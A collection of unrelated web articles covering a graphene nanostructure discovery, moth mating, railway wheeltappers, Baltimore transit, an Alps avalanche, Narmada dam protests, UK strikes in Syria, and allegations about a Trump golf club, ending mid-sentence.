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Box-shaped graphene – a novel nanostructure (Nanowerk Spotlight) A scientist from the Institute of Physical Problems named after F. V. Lukin in Zelenograd, Russian Federation, has discovered a previously unknown three-dimensional nanostructure consisting of graphene sheets. The researcher, Dr. Rostislav Lapshin, a staff scientist at the institute, has reported his findings in the January 1, 2016 edition of Applied Surface Science ("STM observation of a box-shaped graphene nanostructure appeared after mechanical cleavage of pyrolytic graphite"). Box-shaped graphene – a three-dimensional nanostructure consisting of graphene sheets. (Image: courtesy of Dr. Rostislav V. Lapshin, Institute of Physical Problems) Graphene is a single monolayer of carbon atoms forming a hexagonal two-dimensional crystal lattice. The discovered nanostructure is a multilayer system of parallel hollow channels with quadrangular cross-section extending along the surface. The thickness of the channel walls/facets of the nanostructure is about 1 nm, the width of the channel facets is approximately 25 nm, and the channel length reaches at least several hundreds of nanometers. Dr. Lapshin explains: "Actually, graphite crystal can be thought of as a stack of graphene sheets. Graphite surface under a scanning tunneling microscope (STM) looks 'dull' and uniform. Usually, one may see plain areas of surface of several microns in size bounded by cleaving steps without any features. Only rarely does the familiar 'landscape' contain something unusual, for example, a carbon fiber, a superlattice or a dislocation network." The discovered nanostructure looked so extraordinary that it took some time to understand what it actually was. The structure was dramatically different from whatever had previously been observed on graphite. Only after performing additional measurements and analysis of the images, it became clear that this was a system of hollow nanosized channels extending along the surface with wall thickness less than 1 nm. The estimated value of thickness as well as the quadrangular cross-section of the channels unambiguously indicate that the channel walls/facets are graphene planes. After clarifying the geometry and sizes of the discovered objects, Dr. Lapshin set out to understand how they had been formed. Several hypotheses were suggested, but all of them appeared to be either too complicated or too 'fantastic'. Finally, a rather simple, if not to say elegant, solution was found, which is based on a series of mechanical deformations of graphite, which is layered by nature. "In summary, it appears that this is the formation mechanism," Lapshin explains: "During graphite cleavage, a compressive stress directed along the surface appears in the thin surface layer. As the cleaving front moves on, the compressive stress causes, first, elastic bending of this layer at a small section, and then plastic deformation of the layer with its simultaneous splitting into graphene sublayers. The last two transformations result in a nanofold formation. At the final stage, the split graphene sublayers slide in the nanofolds relative to each other resulting in formation of the nanochannels arranged in stacked layers." Since the nanochannels have a quadrangular cross-section, the detected graphene nanostructure has been named box-shaped. It is noteworthy that the box-shaped graphene (BSG) nanostructure contained so many interesting features that just three STM scans were enough to make substantial conclusions about the structure and its main parameters. Even the preliminary analysis of the BSG nanostructure has shown good prospects of its use in various devices. Here are some of the possible applications: ultra-sensitive detectors; high-performance catalytic cells; nanochannels of microfluidic devices (molecular sieving, DNA sequencing and manipulation); high-performance heat sinking surfaces; rechargeable batteries of enhanced performance; nanomechanical resonators; electron multiplication channels in emission nanoelectronic devices; high-capacity sorbents for safe hydrogen storage. |
Sexy females help ‘Plain Jane’ moths snag their mates GRONINGEN, THE NETHERLANDS—For insects such as the tobacco budworm moth, beauty is actually in the “nose” of the beholder, as females use chemical scents called pheromones to lure in potential mates. And—as in people—some moths are attractive. Others … well, not so much. Now, evolutionary biologists have learned that these unattractive female moths better their odds of mating by hanging out with their more attractive counterparts. “We often think of mate choice as a perfect and entirely binary process—you are attractive or you are not—but this is clearly not the case,” says Therésa Jones, a behavioral and evolutionary ecologist at the University of Melbourne in Australia, who was not involved with the work. Wouter Halfwerk, a behavioral ecologist at the University of Amsterdam, adds that the results, reported this week here at the XIV Congress of the European Society of Evolutionary Biology, “provide an answer of how unattractiveness can evolve, which challenges our notion of beauty.” The new work was done by Astrid Groot, an evolutionary biologist at the University of Amsterdam who studies the evolution of sexual signals. She specializes in the tobacco budworm moth (Heliothis virescens) because so much is already known about its caterpillar, a widespread crop pest in the United States often caught by farmers with pheromone-scented traps. In field studies, she and other researchers noticed that some females never seem to attract males. But how could they reproduce enough to pass along their less-than-sexy scent? To find out, she and colleagues raised multiple generations of the budworm in the lab, testing each generation’s females for how quickly males home in on their scents. By separately breeding the most and least attractive females, the researchers gradually created two strains, one of supersexy smellers and one of, for lack of a better word, stinkers. They then paired off females of both strains in different combinations, and let them play the moth equivalent of The Dating Game. Pairs of attractive females almost always snagged a mate. Pairs of unattractive females never did. But when an unattractive female was paired with an attractive one, she was able to mate an average 17% of the time, Groot reported. Males make a beeline to the attractive scent, but then apparently miss their target once they get close in, she explains. Attractive females may tolerate being cheated out of a mating because they, too, benefit from having a less attractive pal nearby, Groot and her colleagues discovered. When accompanied by another attractive female, each female has a 50-50 chance of mating. But with an unattractive pal, the beautiful moth’s chances improve. What’s more, the male is much quicker to make his choice, Groot said. The results “demonstrate the importance of the social environment,” Halfwerk says. “One form does not attract males on its own, only in close proximity of the other form.” That result also parallels what’s been found in humans: that an attractive woman in a crowd of less attractive women also seems to attract more attention. But pinning down exactly why this happens should be much easier in moths than people, she notes. “That’s the nice thing about insects.” |
A wheeltapper at work on the Bulgarian railway in 2009 A wheeltapper signing off after checking the wheels of a train at Budapest-Keleti railway station in 2014. He has rested his long hammer on the train's buffers. A wheeltapper is a railway worker employed to check the integrity of train wheels and that axle boxes are not overheating. Typically employed at large railway stations and in goods yards, they tap wheels with a long-handled hammer and listen to the sound made to determine the integrity of the wheel; cracked wheels, like cracked bells, do not sound the same as their intact counterparts (they do not "ring true"). Wheeltappers also check that the axle boxes are not overly hot by using the back of their hand.[1][2] Although wheeltappers still operate in some eastern European countries, in countries with modern planned maintenance procedures and line-side defect detectors, such as hot box detectors, wheeltappers are redundant. The job is mostly associated with the steam age. Wheeltappers were vital to the smooth running of the railways as a cracked wheel or overheated axle bearing would lead to delays and the loss of revenue. These were particularly common in the 19th century, when axle bearings were lubricated by grease. At this time, metallurgy was a more haphazard science and thus it was impossible to test steel wheels for cracks: the role of the wheeltapper was of crucial importance.[3][4] Anecdote [ edit ] There is an anecdote of a wheeltapper who had worked diligently for years wheeltapping without ever questioning or understanding the purpose. This originated with Rudyard Kipling in Delhi, and is referenced in his work "Captains Courageous" of 1897,[5][6][7] although it had spread to the United States by 1932.[3][4] A German version of the story was told by the German humourist Sigismund von Radecki.[8] See also [ edit ] References [ edit ] |
DATE: Jan 2, 2013 | BY: David Wharton | Category: Sci-Fi The age of the internet has been rough on traditional printed publications. Even major magazines such as People and Time have occasionally struggled as they adapted to the digital age that has more and more people absorbing most of their content digitally. While that ongoing transition has seen the demise of many smaller publications, the magazines that have adapted well, like Wired, are better than ever. There’s another nice perk of the online era when it comes to the magazine world: you can preserve publications and make them available to more people with a scanner and some patience. Case in point: the entire run of Omni magazine is online and readable for free. Focusing on both science and science fiction, Omni enjoyed a long and venerable run, first published in October 1978. The print version lasted until Winter 1995, and while a digital version continued through 1997, eventually that, too, folded. That’s a damn shame, but what an amazingly cool treat that the entire run of the magazine is available for our perusal at the Internet Archive. Some days I really love the internet. During its long history, Omni featured many who would go on to become notable contributors to science fiction literature, including Ben Bova, who worked as an editor for the mag. Omni also first published many stories that became genre classics, such as Harlan Ellison’s novella, Mephisto in Onyx and William Gibson’s Burning Chrome. It also published genre-leaning stories by more mainstream writers, including William S. Burroughs and Joyce Carol Oates. Omni very much paved the way for sites such as GFR, so we’re thrilled to see that it’s been preserved for all of us to enjoy in the years to come. Now if you’ll excuse me, I’ve got some reading to do… |
Why you can’t get there from here, but maybe you can soon The Lost Subways of Baltimore “Baltimoreans could seriously ponder the question of whether the city is more important to live in, or race through.” —James Dilts, March 3, 1968, The Sun It’s no secret Baltimore’s mass transit system is a mess, but exactly how bad is it? Based on a 2016 study using U.S. Census data and the American Public Transportation Association’s Ridership Report, Baltimore ranks 24th among 25 major cities in terms of our average transit commute time. (Thank you, Newark for being last.) When you combine the overall efficacy of public transportation—that’s transit versus driving and other factors—Baltimore pulls in at 19th, one spot behind notorious car-centric Los Angeles. So, how did we get to this? In the late ’60s and early ’70s, James Dilts, staff writer for The Sun, wrote a column called “The Changing City,” tackling the sweeping urban issues of the day including housing, poverty, and transportation. “That was when the Charles Center got built,” recalls Dilts, who currently serves as The Peale Center’s board president. “It was a time of hope.” Re-reading those columns can be disheartening a half-century later because the same intractable problems remain. Yet, Dilts’s reporting on the era’s massive highway build-up and the lack of a viable mass transit agenda is instructive in hindsight, explaining much of the present state of Baltimore’s poor public transportation system and traffic woes. In a January 1969 column, “A Question of Roads or Rails,” Dilts writes the only real solution to relieve congestion into Baltimore’s business districts is mass transit, noting “expressways create as much traffic as they distribute, and are, therefore, obsolete in a relatively short time.” Before Gov. Larry Hogan cancelled the Woodlawn to Bayview, 14-mile Red Line initiative last year, the late ’60s and early ’70s were the last opportunity to build a comprehensive subway/rail/bus system. (Inexplicably, Baltimore missed its first opportunity at the turn of the 20th century—despite complaints of “congestion” as far back as 1905—when New York, Boston, Philadelphia, and European cities built subways as electrical lines were placed underground.) That failure has reverberated through the decades, leaving Baltimore with a disconnected system that doesn’t just reflect the city’s inequality, but has perpetuated it—studies have correlated a lack of reliable transit to unemployment in lower income neighborhoods. The impediment to a subway system, Dilts says, was a lack of consistent planning and political will. “Plus, you had real pushback in Baltimore County and Anne Arundel County, with people complaining that a subway would bring crime,” he says. Not only is ridership here roughly 25 percent less than Philadelphia; half of Washington and Boston; and a third of New York—the income gap among users is dramatically different. In New York and D.C., ridership reflects the overall population—the difference in median income for the entire city and transit users is negligible, 2 or 4 percent. Baltimore’s income gap is 35 percent—making the system one of the most class-segregated in the U.S. ▸ A 1968 design for a Baltimore subway system. View Larger By the time the designs (see 1968 map) for an integrated subway and rail line and proper commissions were set up to move forward with a proposed 71-mile, 63-station hub system, federal money dried up as the country sank into the economic straights of the 1970s—caused, ironically, by the first oil embargo. Ultimately, just the single, Owings Mills to East Baltimore line opened in 1983. In 1992, the light rail line from Timonium to Baltimore/Washington International Thurgood Marshall Airport was added, mimicking two of the lines on the 1968 map, but not in an integrated way. “Baltimore ended up with a kind of mixed-up system of subway lines, rail lines, and bus lines that don’t connect well. There are just a lot of places you can’t go,” Dilts says. “Not easily, at least.” With all that said, the Maryland Transit Administration is in the midst of overhauling Baltimore’s bus system, the city is launching its bike-share program this fall, and construction has started on a downtown bike network. Ride-sharing companies are also providing more options. Meanwhile, several new nonprofits—Transit Choices, Bikemore, and the Baltimore Equity Transit Coalition—have formed to help push transportation in the city into the 21st century. Over the next seven pages, we detail the coming changes and transportation options. Maybe it’s a time of hope again. The Multi-Modal City The Year of the Bike After numerous fits and starts, Baltimore will launch its bike-share program this fall. The system will begin with 250 bicycles at 30 stations—half of which will be electric pedal-assist bikes. Ultimately, 465 bikes at 50 stations should be in place by spring from Locust Point to Station North. Equally important, the Department of Transportation has started construction on the Maryland Avenue cycle track—a dedicated, two-lane bikeway protected by flex posts—and a downtown network of bike lanes. With these projects as well as a build-out of street infrastructure—bike lanes and racks, protected cycle tracks, and the extension of the Jones Falls Trail, for example—2016 could prove to be a great leap forward for bike commuting in Baltimore. |
Media playback is unsupported on your device Media caption BBC producer Sally Graham: "It was a massive rescue operation" Two French schoolchildren and a Ukrainian tourist have been killed in an avalanche at a ski resort in the French Alps, officials say. Three others - two pupils and a teacher - were seriously injured. The two pupils were found in state of cardiac arrest and the teacher was unconscious. All members of the group have now been accounted for by rescue teams. The avalanche struck the group, their teacher and the Ukrainian on a closed piste in the Les Deux Alpes area. More than 60 rescuers with dogs assisted by four helicopters went to the scene, the local prefecture said in a statement (in French). Image copyright Gérard Fourgeaud © Radio France Image caption Helicopters and rescue dogs rushed to the scene Witnesses told the France Bleu radio station that the avalanche was likely to have been triggered by groups skiing through the area. French President Francois Hollande offered "sincere condolences" to the victims' families and said "the solidarity of the whole nation" was with them. France's education minister visited the students' school in Lyon on Wednesday evening. The Bellecombe piste is situated on a particularly icy north-facing side of mountain, the radio station said. It is black-rated - the most difficult level. The piste had been closed since the beginning of the ski season because of a lack of snow over the holiday period, a manager at Les Deux Alpes told local media. However, large quantities of snow have fallen on the French Alps in recent days, raising the risk of avalanches, the regional government said (in French). It urged skiers and other mountain users to take extra care and stay on marked pistes. Four other people - two Lithuanians, a Spaniard and a Czech - have died since the New Year in avalanches in the French Alps, AFP reported. |
All preparations had to be complete prior to the function in which Prime Minister Narendra Modi ‘gifted a dam’ to the nation on his birthday on Sunday (September 17). The Sardar Sarovar dam was lit up and 2,00,000 people (comprising farmers, fishers, potters, pastoralists, Dalits and small enterprise holders) had to be submerged for the Narmada Mahotsav (and Modi’s birthday) to be a success. For this, water was diverted into the Sardar Sarovar reservoir from unfilled dams, raising water levels to 129.64 metres and beginning the inundation of 191 villages and one township in Madhya Pradesh. The 30 sluice gates at the dam site have also been closed since June 17 this year, allowing water to fill the reservoir. False claims have been made in the Indore high court about the provision of all basic amenities in 88 rehabilitation sites. It has been announced that the disbursal of compensation amounts of Rs 60 lakh and Rs 15 lakh to 681 families in Madhya Pradesh is complete, when fewer than half of the beneficiaries, the oustees of the dam, have received it. Economists like Swaminathan S. Anklesaria Aiyar took care of the rest of the preparations by telling a nation of a billion people that tribal people ousted by dams will flourish and adapt in no time and with limited trauma even, as if the Narmada Bachao Andolan kept the struggle alive for 32 years when there was no injustice being perpetrated. Distortion of the benefits of the dam The main objective of the dam, which was to provide people with water for drinking and irrigation, has been entirely recast. In Gujarat, water is being made available to the factories of Coca Cola and Tata Nano car, to corporates like the Adani and Ambani groups, to six industrial centres, and to fill a stretch of the Sabarmati river in Ahmedabad – while throats and fields of farmers in Saurashtra and elsewhere remain parched. Out of the 17.92 lakh hectares of land to have been irrigated, only two lakh hectares have actually benefitted. The project was accorded sanction for a canal network of 90,389 km; however, the government of Gujarat talks only of a 71,748-km canal network, a decrease by 18,641 km. Madhya Pradesh and Maharashtra, having received no benefits of water, are getting only 56% and 27% share in electricity respectively – which is ridiculous as in the state of Madhya Pradesh alone, it has been predicted that the production of electricity will be in excess of the demand for the next 15 years. Financial losses incurred by the Sardar Sarovar Project In 1983, the cost of the project was estimated at Rs 4,200 crore. In 1988, the Planning Commission approved the project at an estimated cost of Rs 6,400 crore. Today, the cost of the project has sky rocketed to Rs 99,000 crore. According to a letter from the citizens of Gujarat to the president, an average amount of Rs 9,000 crore is annually provided for and spent, for the construction of the remaining canal network. Even now, approximately 42,000 km of canal is yet to be constructed because of which only 20-30% of the irrigation benefit has been achieved. Maharashtra has claimed coverage for the loss of the amount Rs 1,800 crore. Crores of rupees have been spent on building tin sheds, which are illegal as per the Narmada Water Disputes Tribunal Award and three Supreme Court judgments. Again, crores of rupees were spent on Narmada Mahotsav and the celebrations around it. No wonder, then, that the total loss is being estimated to be thousands of crores of rupees. Environmental aspects still remain neglected Environmental clearances for the project were granted in 1987 without complete assessment of environmental impacts, on the condition that environmental studies will be undertaken and mitigation of the impacts will happen pari passu (side by side) with the construction of the dam. Till date, this has not been followed. The issues – catchment area treatment, command area development, compensatory afforestation, loss of flora and fauna, protection of downstream environment, seismicity and rim stability, health aspects, archaeological loss and anthropological setbacks – were required to be considered by the environment sub group at each stage of clearance given for increasing the dam height. Though work done on these environmental aspects is far from complete, the government has obtained permission to increase the height of the dam at every stage based on false reports of environmental compliance. State of affairs in villages to be submerged The 214-km-long reservoir of the Sardar Sarovar dam is set to submerge 40,000 hectares in area (including 13,835 hectares of forests), which includes 244 villages and one township in the three states of Madhya Pradesh, Maharashtra and Gujarat. Out of these, 191 villages and the township are located in the state of Madhya Pradesh and currently face submergence. The resettlement and rehabilitation work done in all three states is dissatisfactory. In Gujarat and Maharashtra, around 15,000 families were resettled and rehabilitated. But there are massive inconsistencies in the process and thousands of families continue to struggle. In Kevadia colony in Gujarat, about 200 representatives of project-affected people are protesting with their long-pending rehabilitation demands; they were on a relay fast for a year. Where the canals have been constructed in Gujarat, there are holes and pits in their banks which damage the surrounding areas including crops and villages. During the recent floods in Banaskantha district, the flood situation was aggravated and worsened because of these breaches. In Maharashtra, tribal populations of the submerged villages are pleading for land. In Madhya Pradesh, the resettlement sites continue to lack basic amenities like drinking water, sewerage, electricity, water and grazing land for livestock, land for public building like schools and medical care facilities. Most of the plots provided for housing are on black cotton soil, where levelling and construction are difficult. The size of the house plots is also a fraction (one-third) of what was promised. The list of 681 families eligible for the cash compensation of 60 lakh and 15 lakh, as announced in the 2017 Supreme Court order, is also highly flawed. Between 2008 and 2010, 15,946 families were excluded from rehabilitation by the Narmada Control Authority in the state as they were unscientifically declared “unaffected by lowered back water level”. Many who consented to rehabilitation in 2005 were either duped in fake registry scams as brought forth by the Jha Commission report or received unfair, incomplete or no compensation at all. A survey done by the NBA in 38 villages in Madhya Pradesh shows that 308 religious sites, out of which 117 are very ancient, will be submerged and lost. Today, as water enters villages in the state, 40,000 families in the submergence zone refuse to move as they have nowhere to go. “We will fight, we will win,” say the oustees facing submergence in Madhya Pradesh Rajendrabhai of Chikhalda village said with strong emotion, “Narmada is not a water tank for us, she is our mother,” suggesting that their relationship with the river goes beyond material fulfilment. Women in Kadmal village, who were sitting on a relay fast in the month of July and protesting vociferously for fair compensation, wondered if the loss of land and a way of life inseparable from the river can ever be compensated. When facing such loss, it is no wonder that the dismal situation has still not broken the mettle of the andolankaris in the Narmada valley. On Sunday, as Modi was ready for the jalhatya (drowning to death) of 40,000 families in Madhya Pradesh and chief minister Shivraj Singh Chouhan had become a mute partner in it, 36 agitating villagers stood as jalsatyagrahis (protestors standing in the water) in Chhota Barda village to protest the celebrations and agitate against the rising water levels of the Narmada. The satyagrahis were badly affected – their skin came off and they shed blood due to long exposure to water, but with an indomitable belief in non-violence and a spirit that never gives up, they declared that the resistance to the apathetic state will continue in the valley until families are rehabilitated rightfully and justice is delivered. Sneha Gutgutia is with Kalpavriksh, Pune. |
Langer clinched victories in four tournaments which include victories in majors – the Regions Tradition and the Senior Players Championship. Interestingly, one of these wins came just the day after he turned 59 in August. More about Langer’s Career and Family Bernhard has finished in the top three positions on 11 occasions. His worst finish in all the 21 events he appeared for was a tie for 13th place. Langer also managed to win the money title for the eighth time in total nine years and pocketed over $3 million. Furthermore, he grabbed his fourth victory in the Charles Schwab Cup. He did all by using a new putting style after the anchored-putter of USGA was banned January 1. Langer said that everything turned out to be great. He added that he had been putting the anchored style for 17 years of his career and he felt the need to go non-anchored. Langer experimented with various putter lofts, lengths, and weights and tried gripping against his forearm. Later, he pursued that over few months, and he started getting better at it. At last, this year turned out to be decent for him. His tweaks with putter continued at the Allianz Championship in Boca Raton in February. There, he decided to stay with the long putter and used it unanchored. As a result, he won the Chubb Classic in the following week at Naples. With all these efforts, Langer proved to his rivals that he is still a difficult player to beat on the senior tour. Langer credits his consistency from his driving and his putting for his success so far. He also extended his success to the quality time he spends with his family. Langer has been married to Vikki for 32 years whom he met in 1983 at the old Inverrary Classic in 1983. The couple has four children and they all play golf – sons Stefan and Jason and daughters Jackie and Christina. |
A new Web service called Bump allows drivers to connect their license plates with an e-mail address or phone number, enabling communication with other motorists. A new Web site and smartphone app connect license plates with an e-mail address, allowing businesses to track customers, drivers to connect with each other, and road rage to reach new heights. In doing so, Bump.com, which launched this week, throws open the doors of one of this country's last private places: Your car. The site aims to bring social media connectivity to the road, even for cars that don't come with Wi-Fi. "We're right next to each other on the highway, but we have no way to communicate, connect, and network," as Bump's Web site explains. It works by connecting a car's license plate with a Bump user account, which can then be connected to other social media sites like Facebook and Twitter. You can add your physical address and mobile phone number, too. License plates become an e-mail address @bump.com. Initially, you'll have to use an automated call-in service to specify a plate, but Technology Review reports that the goal is to use smartphone apps with image-recognition software, so you can simply snap a photo of the license plate you want to connect with. The idea is to bridge communication to other drivers, for a variety of reasons: "One of the most important ways BUMPers use the service is to help each other out," the Web site says. Through a voice-automated system, drivers can notify you that your car alarm is blinging, for instance, or that you left your lights on. But this could also bring Web-style instant, anonymous personal nastiness to the road. For instance, did someone park too close to you? With Bump, you can quickly tell that SUV driver precisely where he can go next. The system also seems to enable stalker-y behavior, like this example from Bump's how-to page: "So that cute guy just drove by and you think you just missed your only chance to talk to him. Thanks to BUMP, now you can contact him just by taking a picture of his license plate. What are you waiting for?" The creators seem to have covered several other bases, such as the problem of someone falsely claiming your license plate. You can go to the car's profile page, flag it and enter your VIN number, and Bump will sort out the details. Users can set up privacy controls to reject or accept messages, receive messages only from people you choose, or cut off contact with anyone. Your cell number will not be released to other drivers, but will instead appear on their screens as your license plate number, according to the Web site. For good or ill, with Bump, it seems we are not invisible inside our cars. [Bump.com via Technology Review] |
Trying to decide when to meditate? Developing a morning meditation routine can be key to developing a consistent meditation practice, and may provide the most benefits. In this post I explain why meditating in the morning is a good idea and then break down how to get started. Why Meditate in the Morning? It wakes you up There are a variety of types and forms of meditation. Some can help you fall asleep, others can invigorate you. A body scan meditation that has you lie flat might just lead to an early morning nap. Choose a focused attention or loving kindness meditation that engages you and calls for you to sit upright and at attention. With the right intention, you’ll leave the session charged up and ready for the day. Your mind is clear Once you get started in the activities of the day it is hard to stop. By meditating first thing in the morning, you reduce the amount of stressors from the day that can disrupt your meditation. Fewer distractions The key to meditating early in the morning is that less people are awake. This means less people demanding your time via text, email or otherwise and expecting immediate responses. Easier to create a habit A habit is a behavior done with little or no conscious thought. With enough repetition and the right setup you can make meditation a start to a strong morning routine. (See below on how to get started) The more variables that get placed into your day (a deadline gets pushed up, a new crisis happens) the lower the chance you will succeed in developing a meditation habit. More of the day to enjoy the benefits of meditation Simply put, if you meditate early in the day, you can gain the benefits of charging yourself up from the start. (And possibly have those effects last throughout the day!) How To Get Started Choose your place to sit Be specific. Get your pillows or chair and put them in a room that you know will be quiet and removed from distractions. Do this the night before, so all you need to do in the morning is roll out of bed and head to your sitting place. If you can avoid it, try to not meditate in bed. Sit on the floor at the side of the bed instead. If meditating outside, find a location that will not have too much street traffic that could be jarring (garbage trucks, for example). Get your guided audio of choice ready If you use a mobile app like Pocket Clarity, you can easily choose the session that meets your needs or set a timer. Reduce the barriers to getting your practice going by putting your meditation app on your phone’s primary homescreen. Set your alarm The easy excuse to skip a morning meditation is that you slept too much and have to get started with the day. Nullify this excuse by setting an alarm. Skip the snooze button and take control of your day from the start. If you are giving yourself enough sleep, you’ll soon not need an alarm at all. Give yourself time A corollary of the previous. Allot enough time for you to complete a meditation. You should not have to glance at the clock to make sure the meditation will be done in time. Keep the pace, even on weekends Remember that weekends are an arbitrary construct. We could have 4 day work weeks or 7 day work weeks, it would not change the fact that your body wants a reliable sleep/wake schedule. There’s nothing wrong with sleeping in from time to time, but you are hurting your success if you plan to sleep until 10am on weekends while sleeping until 6am during the workweek. Get a good night’s rest by starting with an evening routine Set an evening routine that allows you to wind down before going to bed. That means being away from your cell phone or computer for 30 minutes before bed, so your brain can unwind. It is a great time to read a book, talk with your roommates or family, or meditate (see what I did there?). Take Action By following these steps, you should be able to fill in the statement below. To do this well, it might make sense to complete the statement in reverse order (decide when you need to start your day, which informs when you wake up, which informs when you need to go to sleep to get a good night’s rest.): The Morning Meditation Pledge To develop my morning meditation practice, I will set a reminder to wind down at pm and go to bed at pm in order to wake up at am. When I wake up, I will go to and meditate for minutes, which will allow me enough time to do the rest of my morning routine starting at am. To make my meditation practice easier, I will use and it is on my phone’s homescreen. Signed, In Conclusion To be clear, any meditation habit is better than no meditation habit. But by taking these steps you will be in good shape to start a regular meditation practice that gives you the most benefits. When you miss a day, don’t beat yourself up over it, just get back to the routine. Tell me what you think! When do you meditate during the day and is it working for you? Contact us and we might include your comments in a future post. -Charles Thanks to Joel of Buffer for the last two tips on how to get started. Image Attributions: |
Image copyright PA Image caption RAF Tornados bombed the Omar oil fields on the night of the Commons vote It is now a month since MPs voted in support of UK military action against the group known as Islamic State (IS) in Syria. On the same night that parliament gave its approval RAF Tornados launched their first air strikes on the Omar oil fields. Newly despatched Typhoon jets joined in the attacks two nights later, followed by a third set of strikes on the same oil fields on 6 December. And then? It appears hardly anything. There has only been one other British air strike in Syria - an unmanned Reaper drone firing a Hellfire missile at an IS checkpoint near Raqqa on Christmas Day. Despite the vote, the focus of British military action has continued to be on Iraq. The RAF's much lauded brimstone missile has not yet even been fired over Syria. The prime minister's claim that the RAF would make a "meaningful difference" there has yet to be borne out. So far more than 90% of the air strikes inside Syria have been conducted by the US. It is of course still early days. But given the limited number of UK air strikes it begs the questions: why was the government so keen to expand the air strikes to Syria, and why the agonising over a vote that appears to have changed relatively little? Image caption UK air strikes have targeted the Omar oil fields in eastern Syria It is worth recalling that David Cameron argued for Britain to join the Syria air strikes. He said it was to deny IS, also known as Isil, a safe haven. "It is in Syria, in Raqqa, that Isil has its headquarters, and it is from Raqqa that some of the main threats against this country are planned and orchestrated," he said. He argued that by authorising British air strikes over Syria, the RAF would be able to take out the "snake's head" - the leadership of IS. Iraq priority So why hasn't that happened? The first reason is that Syria has not been the military priority. In Iraq air strikes are making a difference, largely because there is an army to work with on the ground. Image copyright AP Image caption Ramadi has been the target of both US and UK air strikes The recapture of most of Ramadi has been achieved with the help of the RAF. On 18 December it carried out its most sustained bombing campaign over Ramadi and near Mosul - with 22 air strikes over a 24-hour period. And there are more reasons as to why Iraq, not Syria, will continue to be the focus of the bombing campaign. Iraq's prime minister has now said his forces will be turning their attention to Mosul. Even though the tide appears to be turning in Iraq, the country will still be heavily reliant on Western air power for months, possibly years to come. The fight against IS in Iraq will be hard. But in Syria it will be even tougher. There is still no ground force around which the US-led coalition can rally. Before the parliamentary vote, David Cameron admitted the situation on the ground in Syria was "complex". But his assertion that there were about 70,000 Syrian opposition fighters, who did not belong to extremists groups, still seems fanciful. Day-by-day the so-called "moderate rebels" are being targeted by Russian aircraft determined to bolster President Assad's position. Surveillance key The battle lines in Syria are blurred and constantly shifting. And it is much harder to conduct an air campaign without eyes on the ground. However, it would be wrong to give the impression that Syria is being completely ignored. Image copyright Getty Images Image caption Six Typhoons were deployed to RAF Akrotiri in Cyprus after the UK approved air strikes in Syria On 19 December the US-led coalition carried out its largest ever pre-planned attack on oil installations near Raqqa, dropping 140 bombs and missiles in a single day (in the coalition daily update this was listed as just one air strike as it involved one target). The US has also been going after senior figures: 10 so-called "high-value targets" have been killed over the past month alone. The coalition spokesman, US Colonel Steve Warren, said: "We are striking at the head of this snake, but we haven't severed it yet, and it's still got fangs." The US has been flying combat missions over Syria for more than a year now. It has had more than 100 aircraft gathering intelligence and finding targets (it is costing the US $11m - £7.4m - a day to fight this war). This might, in part, explain why the RAF has carried out relatively few air strikes against the "head of the snake" in Syria. It often requires weeks, even months, of surveillance. But Britain's very limited involvement in Syria, along with its limited number of aircraft, still raises questions and doubts. Is the UK really making a "meaningful difference"? Or was the vote on 2 December as much to do with politics as military effect? What is going on in Syria? Media playback is unsupported on your device Media caption Who’s fighting whom in Syria? Explained in 90 seconds Syria has been embroiled in a bloody armed conflict for nearly five years. More than 250,000 Syrians have been killed, and 11 million made homeless. What started as pro-democracy Arab Spring protests in 2011 spiralled into a civil war between President Bashar al-Assad's government forces and opposition supporters. In the chaos, jihadist group IS moved in over the border from Iraq and claimed territory. The US, Russia, France and other world powers have entered the fray, adding to an already complex web. Syria: The story of the conflict |
Donald Trump wanted only the pretty ones, his employees said. After the Trump National Golf Club in Rancho Palos Verdes opened for play in 2005, its world-famous owner didn’t stop by more than a few times a year to visit the course hugging the coast of the Pacific. When Trump did visit, the club’s managers went on alert. They scheduled the young, thin, pretty women on staff to work the clubhouse restaurant — because when Trump saw less-attractive women working at his club, according to court records, he wanted them fired. "I had witnessed Donald Trump tell managers many times while he was visiting the club that restaurant hostesses were 'not pretty enough' and that they should be fired and replaced with more attractive women,” Hayley Strozier, who was director of catering at the club until 2008, said in a sworn declaration. Initially, Trump gave this command “almost every time” he visited, Strozier said. Managers eventually changed employee schedules “so that the most attractive women were scheduled to work when Mr. Trump was scheduled to be at the club," she said. ADVERTISEMENT A similar story is told by former Trump employees in court documents filed in 2012 in a broad labor relations lawsuit brought against one of Trump’s development companies in Los Angeles County Superior Court. The employees’ declarations in support of the lawsuit, which have not been reported in detail until now, show the extent to which they believed Trump, now the Republican presidential nominee, pressured subordinates at one of his businesses to create and enforce a culture of beauty, where female employees’ appearances were prized over their skills. A Trump Organization attorney, in a statement to The Times, called the allegations “meritless.” In a 2009 court filing, the company said that any “allegedly wrongful or discriminatory acts” by its employees, if any occurred, would be in violation of company policy and were not authorized. Employees said in their declarations that the apparent preference for attractive women came from the top. “Donald Trump always wanted good looking women working at the club,” said Sue Kwiatkowski, a restaurant manager at the club until 2009, in a declaration. "I know this because one time he took me aside and said, ‘I want you to get some good looking hostesses here. People like to see good looking people when they come in.’ ” As a result, Kwiatkowski said, "I and the other managers always tried to have our most attractive hostesses working when Mr. Trump was in town and going to be on the premises." Trump has struggled to win the support of female voters as he seeks the nation’s highest office. In the past, he has insulted women’s appearances, sometimes calling them “pigs” or “dogs.” Trump’s record with women got renewed attention after this week’s presidential debate, when Democratic nominee Hillary Clinton told the story of a former beauty pageant winner who said Trump called her “Miss Piggy” when she gained weight. Trump has previously defended himself by saying he has “great respect for women” and “will do far more for women” than Clinton. He has also said that “all are impressed with how nicely I have treated women.” As part of the lawsuit over a lack of meal and rest breaks at Trump’s golf club about 30 miles south of downtown Los Angeles — his largest real estate holding in Southern California — several employees said managers staffed Trump’s clubhouse restaurant with attractive young women rather than more experienced employees in order to please Trump. “ All are impressed with how nicely I have treated women. ” — Donald Trump Share this quote The bulk of the lawsuit was settled in 2013, when golf course management, without admitting any wrongdoing, agreed to pay $475,000 to employees who had complained about break policies. An employee’s claim that she was fired after complaining about the company’s treatment of women was settled separately; its terms remain confidential. A public relations firm working for the Trump campaign referred questions about the lawsuit to one of the attorneys who represented the Trump National Golf Club in the case. “We do not engage in discrimination of any kind and have always complied with all wage laws, including by providing our employees with meal and rest breaks,” said the attorney, Jill Martin, assistant general counsel for the Trump Organization. The former employees’ statements primarily describe the club’s work culture from the mid- to late 2000s. The Times spoke at length to one of the ex-employees, who described in detail the allegations about workplace culture. The person declined to be quoted by name, citing a fear of being sued. In their sworn declarations, some employees described how Trump, during his stays in Southern California, made inappropriate and patronizing statements to the women working for him. On one 